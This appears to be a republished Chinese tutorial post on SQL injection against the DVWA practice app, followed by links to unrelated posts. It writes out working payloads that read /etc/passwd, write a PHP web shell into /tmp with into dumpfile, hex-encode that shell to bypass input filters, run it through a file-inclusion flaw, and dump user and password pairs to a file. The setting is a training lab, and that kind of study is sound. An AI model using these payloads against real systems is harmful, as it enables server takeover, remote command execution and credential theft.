SQL注入学习二
来源:互联网 发布:2017安全知识网络竞赛 编辑:程序博客网 时间:2024/06/05 03:34
本次记录:SQL注入除了可以拖库,还可以做什么。SQL注入的利用方法
1. 读取文件
利用dbms中的load_file()
函数可以读取系统中的文件。
利用burp suite进行注入。
设置好代理之后,使用burp suite进行拦截,Ctrl+R将request发送到Repeater中。
这里的id就是我们要注入的参数。
Value中输入 ' union select null, load_file('/etc/passwd') --
可以看到读取到了/etc/passwd的内容
2. 写入文件
主要利用into dumpfile
将要传的文件dump到本地。
在Value值中输入(into dumpfile后没有指定路径): ' union select null, "<?php passthru($_GET['cmd']);?>" into dumpfile "a.php"
文件上传成功,由于我们没有指定dump到的文件路径,因此我们远程登录到目标主机,查找一下文件位置。
自动保存到了/var/lib/mysql/dvwa/a.php
,然而使用msfadmin的权限是无法访问dvwa文件夹的,因为dvwa的所有者和所属组均为mysql,因此即使我们将文件写入到了目标服务器,仍然无法利用。
基于这种情况,一般将文件写入到/tmp
目录下。因为这个目录所有用户均具有读写权限。
' union select null, "<?php passthru($_GET['cmd']);?>" into dumpfile "/tmp/a.php"
上传成功。
此时我们可以利用系统的文件包含漏洞:
可以成功执行命令。
这里又出现了一个问题,如果服务器对我们的输入进行了过滤,比如过滤了<
将会导致我们的注入无效,这是用需要利用编码,绕过后台服务器的过滤。本次介绍使用二进制编码。
将一句话木马存入c.php
中 <?php passthru($_GET['cmd']);?>
然后进行编码 cat c.php | xxd -ps | tr -d '\n'
- xxd命令:对于标准输入或者给定的文件,显示其16进制的内容。也可以反过来进行转换。
- tr命令:可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。
复制十六进制的内容到burp suite中进行注入,同样可以注入。 ' union select null, (0x3c3f7068....) into dumpfile "/tmp/c.php" --
3. 保存下载数据库
主要利用into outfile
将从数据库中查询到的结果输出到本地。同样利用文件包含漏洞。 ' union select null, concat(user, 0x3a, password) from users into outfile "/tmp/a.db"
- SQL注入学习二
- sql注入(二)
- sql注入二 解决办法
- SQL注入(二)
- SQL注入原理二
- (学习)SQL注入-POST注入
- 学习sql注入
- 关于SQL注入学习
- 学习SQL注入
- sql注入 学习
- SQL注入学习----检测
- SQL注入的学习
- 牛腩学习---SQL注入
- SQL注入学习笔记
- sql注入学习小结
- sql注入学习笔记
- SQL注入学习总结
- SQL注入学习路线
- TensorFlow CNN 相关类与方法
- github不能访问、加载css、js解决办法
- phpcms v9网站搬家更换域名的方法
- PAT1020. Tree Traversals (25)
- Qt学习之路(19): 事件(event)
- SQL注入学习二
- charles抓包的安装,使用说明以及常见问题解决(windows)
- uva 1521 一推数 分成若干组 每组的数相乘不能超过n 求最小分组
- Nginx学习之HTTP-2.0配置
- Python核心编程v2.0 第10章习题答案
- PhpStorm中如何使用database工具
- 嵌入式linux定时器注意事项
- 计算机
- 排列和组合区别